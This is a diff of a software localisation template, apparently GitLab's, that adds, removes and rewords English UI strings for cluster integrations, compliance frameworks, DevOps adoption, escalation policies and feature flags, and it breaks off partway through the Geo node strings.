-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
